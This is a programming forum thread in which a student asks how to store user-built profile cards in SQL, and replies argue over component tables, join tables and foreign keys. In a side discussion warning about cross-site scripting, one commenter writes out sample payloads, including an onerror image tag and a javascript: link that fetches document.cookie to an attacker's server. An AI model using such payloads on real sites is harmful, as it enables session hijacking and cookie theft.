Lads. I need your help.

I'm building a little web app project in class where a user can create their own micro-personal page similar to about.me, except a little more modular.

users can add cards to their page with a title, maybe an image, some text, and some buttons.

my question is: how can I represent such things in my database? I can think of how a json file representation might look, but not sure how that translates to SQL?

here's how I imagine it:

userProfileComponents ={
cards=[
{
title: sometitle
image: src
text: null
button: { icon: facebook, text: facebook}
},
{
title: another title
image: null
text: some stuff about me
button: null
}
]

I wouldn't want to create a table for each micro-page - cause that would scale like absolute shit. but I feel like cramming EVERYONES components in a component table would be hell on earth. any tips? thanks

Why would making a "components" table be hell on earth? I don't know much about your project, but from what you wrote it seems like a components table is the best option here.

You can also use jsonb if you're using postgres, it's fields can even be indexed, but I don't think that's any better than a components table.

I'd just create a components table with all those fields plus a foreign key that references a user. You should definitely get a second opinion, since I started using relational databases not too long ago, but that's how I would do it.

Your Bigger problem should be some nerd inserting code into his page, He would easily be able to steal other users cookies if he is successful in doing that.

I've been working with SQL databases for years and that's what foreign keys are for, one to many relationships, just as the first comment says.
Disclaimer: Use a foreign key but don't declare it as foreign keys. At least for now.

Alternative approach to @neeno's suggestion (quite valid in itself, far as I can tell having just woken up) is to have the components in their own table, users in their own and have a third table tying userId and componentId together. OR, go crazy and have an array representation of componentIds as a field behind every user on the user table!

The point here is, you will need the components table. And if you want to follow best practices and there are recurring allowed values for any field within, you could have an own table for them an only reference them by id in the components table...

(No wonder peeps opt for NoSQL document dbs like Mongo... does simplify matters somewhat)

@100110111 If the components are personal... why would you make a relational table? Unless he wants to add the possibility of sharing cards in the future...

@c3r38r170 yeah... my brain's not quite there yet sans morning coffee ^^"

@theabbie how about just sanitizing the data before storing it in the database, like any sane person would do?

@c3r38r170 what do you mean don't declare as foreign key? You mean to just create a user_id column in the components table but don't create a foreign key constraint for it? Why?

@neeno Do you think he was going to do that? And still there are a lot of conditions for that based on what is allowed and what is not, if he allows image tags, you could do something like this <img src="123" onerror="alert(1)"> It's not that easy, and also not practical to strip out everything.

@neeno I've read it only creates problems and doesn't help much, I have some big systems and none has had problems without foreign keys and I use them a lot. I should look for more and updated info, it's been some time since I adopted that idea.
And if you need / want to do it, you can implement them later and it will be as if it had never not been a real foreign key, because the table would be reindexed, so it's not worth the posible trouble.
Some may say it will be slow to reindex it with data already present, but it really is slow after the 500-600 rows so he has some time to investigate / test if a foreign key will actually improve something.

@c3r38r170 ofc it helps, among other things it ensures there's no invalid data (like a row with user_id 576 but there is no user with id 576) and improves query performance (db can optimize queries). Take a look at this SO question: https://stackoverflow.com/questions...

@theabbie yes I think he was going to validate input. Just by the fact that he's asking the best way to store his data on the db you can see that he's not a clueless dumbass.

Idk exactly what his project does, but he didn't say anywhere he would allow users to input html. Also I don't think allowing html is a good idea unless you want to parse it and whitelist tags and attributes, which is a lot of work and probably won't be bulletproof. It's way easier (and safer) to just give the user an interface that he/she can customize and send the layout as json to the backend (which is what OP seems to be doing).

@neeno @energy-vampire Were you going to sanitize input for html tags? There are many ways to input JS code on page, if he allows links and doesn't validate it people can enter links like javascript:alert(1) which will make it <a href="javascript:alert(1)">, Can you show us the final product once ready, we would love to test it.

@neeno I guarantee he had not thought of that, or maybe, that seriously.

@neeno HTML code is text too, even if there is an interface, people can enter code in that, if there is validation on both ends, then it will be fine.

@theabbie maybe he didn't think of that, but that sort of validation should happen for every piece of data that is input by users and shown on pages. Also, depending on how he's showing this data he doesn't even need to think about that. If he's using a framework (like react or vue), the framework won't directly inject the html into the page, only display it as a string. For example: for Vue to render a string as html you have to explicitly tell it to do so.

I have never seen this javascript:alert thing. If there's a way to run more js like this and not just an alert then it's a problem, otherwise there's nothing to worry about.

@neeno That javascript:<code> is a problem, javascript:alert(document.cookie) can show cookies, a hacker can easily do javascript:fetch("<his server>"+document.cookie) to send cookies to his server. Let's see how much safe he can make it, a lot of precaution has to be taken when users can submit content that is publicly visible. We can't assume things he hasn't mentioned, like validation and sanitization and use of frameworks. I was just letting him know such problems may exist, not trying to test his knowledge.

@theabbie @neeno

I appreciate the feedback. I am not using any sort of front end lib, just Flask and regular ol css html js.

I hadn't exactly gotten to thinking about what would happen if a user was to enter js, or random html. I was currently concerned with SQL injection attacks, which, come to think of it, I suppose I could simultaneously solve the issue of html/js injection on top of that.

Again, thanks for the input. I'm by no means any database guru, so I appreciate the feedback.

@neeno See, I told you, these are very small things that often get ignored, The "samy worm" on MySpace shook the internet because of such attack.

@theabbie

although come to think of it, I remember there being something for php called "html entities" that would solve this issue. I think it replaced the tags with. &lgt or whatever the representation of < and > are. I'll have to see if there is something similar for python/flask.

@energy-vampire There are tools for that, now that you know you can have such problems you can easily solve it. Never give nerds a chance of finding any flaw, they will use it as a defence forever.

An associative table makes sense.

Even if it's 1:1. JOINs are good, not bad.

Most ORMs struggle with this - for several reasons, but if possible, it's the best solution.

Foreign Keys. Oh Stack overflow, here we go again.

It's 2020 and not 1990 anymore.

Foreign keys _can_ be misused, especially if you don't design tables properly, indeed leading to a performance hit.

That's the layman explanation. In reality, the performance hit should be for any common usage unmeasurable, unless you are running on hardware like an Intel 386 with an IDE drive....

But the whole discussion is pretty pointless as there are _tons_ of unknown variables in both explanations (and the stack overflow post, but it's stack overflow...)

A common misusage of foreign keys is to create redundant keys - most RDBMs allow this.

EG

TableA
id_table_a
id_table_b
... (further stuff)

Most RDBMs use binary trees.

Hence if the PK consists of a compound index on id_table_a and id_table_b, you'll have to add an additional index for id_table_b as a foreign key.

That should be the only reason to add a duplicate key.

Many times after struggling in a discussion, it turned out that people confused...

- Foreign keys with constraint checks
- always added duplicate keys (key for index, key for data)

The second one belongs to the wide topic of over indexing and in general denormalization issues - like tables with 40 plus columns.

All in all - if you don't do over indexing, nor heavy write only tables, foreign keys are nothing to worry about.